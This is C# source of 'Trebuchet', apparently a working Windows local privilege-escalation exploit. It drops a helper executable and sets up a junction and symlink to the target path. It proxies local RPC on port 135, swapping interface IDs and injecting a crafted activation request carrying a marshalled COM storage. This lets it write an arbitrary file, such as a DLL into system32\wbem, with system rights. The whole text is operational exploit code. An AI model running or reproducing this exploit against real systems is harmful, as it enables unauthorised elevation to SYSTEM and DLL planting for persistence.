static void Main(string[] args) { try { ManualResetEvent e = new ManualResetEvent(false); RpcContextSplit ctx = null; if (args.Length < 2) { Console.WriteLine("[+] Usage: Trebuchet [startFile] [destination]"); Console.WriteLine(" Example: Trebuchet C:\\users\\public\\libraries\\cryptsp.dll C:\\windows\\system32\\wbem\\cryptsp.dll"); System.Environment.Exit(1); } string rock = args[0]; string castle = args[1]; Thread t = new Thread(() => DoRpcTest(e, ref ctx, rock, castle)); t.IsBackground = true; t.Start(); e.WaitOne(); try { ComUtils.BootstrapComMarshal(DUMMY_LOCAL_PORT); } catch { Console.WriteLine("[+] We Broke RPC! (Probably a good thing)"); } Process symLinkProc = null; foreach (var process in Process.GetProcessesByName("CreateSymlink")) { symLinkProc = process; break; } Console.WriteLine("[+] Waiting for CreateSymlink to close..."); symLinkProc.WaitForExit(); Console.WriteLine("[+] Cleaning Up!"); try { File.Delete("C:\\users\\public\\libraries\\CreateSymlink.exe"); }catch { Console.WriteLine("[!] Failed to delete C:\\users\\public\\libraries\\CreateSymlink.exe"); } ctx.client.Client.Shutdown(SocketShutdown.Send); ctx.server.Client.Shutdown(SocketShutdown.Receive); } catch (Exception ex) { Console.WriteLine(ex); } }
static void WriterThread(object o) { RpcContextSplit ctx = (RpcContextSplit)o; try { while (true) { RpcHeader header = RpcHeader.FromStream(ctx.serverReader); //Console.WriteLine("<= Packet: {0} Data: {1} Auth: {2}", header.PacketType, header.FragLength, header.AuthLength); header.ToStream(ctx.clientWriter); } } catch (Exception ex) { Console.WriteLine(ex); } Console.WriteLine("Stopping Writer Thread"); ctx.client.Client.Shutdown(SocketShutdown.Send); ctx.server.Client.Shutdown(SocketShutdown.Receive); }
static void DoRpcTest(object o, ref RpcContextSplit ctx, string rock, string castle) { ManualResetEvent ev = (ManualResetEvent)o; TcpListener listener = new TcpListener(IPAddress.Loopback, DUMMY_LOCAL_PORT); byte[] rockBytes = null; try { rockBytes = File.ReadAllBytes(rock); } catch { Console.WriteLine("[!] Error reading initial file!"); Environment.Exit(1); } Console.WriteLine(String.Format("[+] Loaded in {0} bytes.", rockBytes.Length)); bool is64bit = !string.IsNullOrEmpty(Environment.GetEnvironmentVariable("PROCESSOR_ARCHITEW6432")); try { Console.WriteLine("[+] Getting out our toolbox..."); if (is64bit) { File.WriteAllBytes("C:\\users\\public\\libraries\\createsymlink.exe", Trebuchet.Properties.Resources.CreateSymlinkx64); } else { File.WriteAllBytes("C:\\users\\public\\libraries\\createsymlink.exe", Trebuchet.Properties.Resources.CreateSymlinkx86); } } catch { Console.WriteLine("[!] Error writing to C:\\users\\public\\libraries\\createsymlink.exe!"); Environment.Exit(1); } string name = GenRandomName(); string windir = Environment.GetFolderPath(Environment.SpecialFolder.Windows); string tempPath = Path.Combine(windir, "temp", name); if (!CreateJunction(tempPath, "\"C:\\users\\public\\libraries\\Sym\\")) { Console.WriteLine("[!] Couldn't create the junction"); Environment.Exit(1); } if (CreateSymlink("C:\\users\\public\\libraries\\Sym\\ (2)", castle)) //Exit bool is inverted! { Console.WriteLine("[!] Couldn't create the SymLink!"); Environment.Exit(1); } IStorage stg = ComUtils.CreatePackageStorage(name, rockBytes); byte[] objref = ComUtils.GetMarshalledObject(stg); listener.Start(); ev.Set(); while (true) { try { TcpClient client = listener.AcceptTcpClient(); TcpClient server = new TcpClient("127.0.0.1", 135); //Console.WriteLine("Connected"); client.NoDelay = true; server.NoDelay = true; ctx = new RpcContextSplit(client, server); ctx.objref = objref; Thread t = new Thread(ReaderThread); t.IsBackground = true; t.Start(ctx); t = new Thread(WriterThread); t.IsBackground = true; t.Start(ctx); } catch (Exception ex) { Console.WriteLine(ex); } } }
/// <summary> /// Read from the client socket and send to server /// </summary> /// <param name="o"></param> static void ReaderThread(object o) { RpcContextSplit ctx = (RpcContextSplit)o; bool isauth = false; bool replacediid = false; try { while (true) { RpcHeader header = RpcHeader.FromStream(ctx.clientReader); if (!isauth && header.AuthLength > 0) { isauth = true; } if (isauth) { if (!replacediid) { byte[] b = ReplaceBytes(header.Data, oxidResolveIID, systemActivatorIID); if (b != null) { header.Data = b; replacediid = true; } } else { // Is a RPC request if (header.PacketType == 0) { //Console.WriteLine("Changing activation at localsystem"); byte[] actData = Trebuchet.Properties.Resources.request; for (int i = 0; i < ctx.objref.Length; ++i) { // Replace the marshalled IStorage object actData[i + 0x368] = ctx.objref[i]; } RpcHeader newHeader = RpcHeader.FromStream(new BinaryReader(new MemoryStream(actData))); // Fixup callid newHeader.CallId = header.CallId; header = newHeader; } } } //Console.WriteLine("=> Packet: {0} Data: {1} Auth: {2} {3}", header.PacketType, header.FragLength, header.AuthLength, isauth); header.ToStream(ctx.serverWriter); } } catch (Exception ex) { Console.WriteLine(ex); } Console.WriteLine("Stopping Reader Thread"); ctx.client.Client.Shutdown(SocketShutdown.Receive); ctx.server.Client.Shutdown(SocketShutdown.Send); }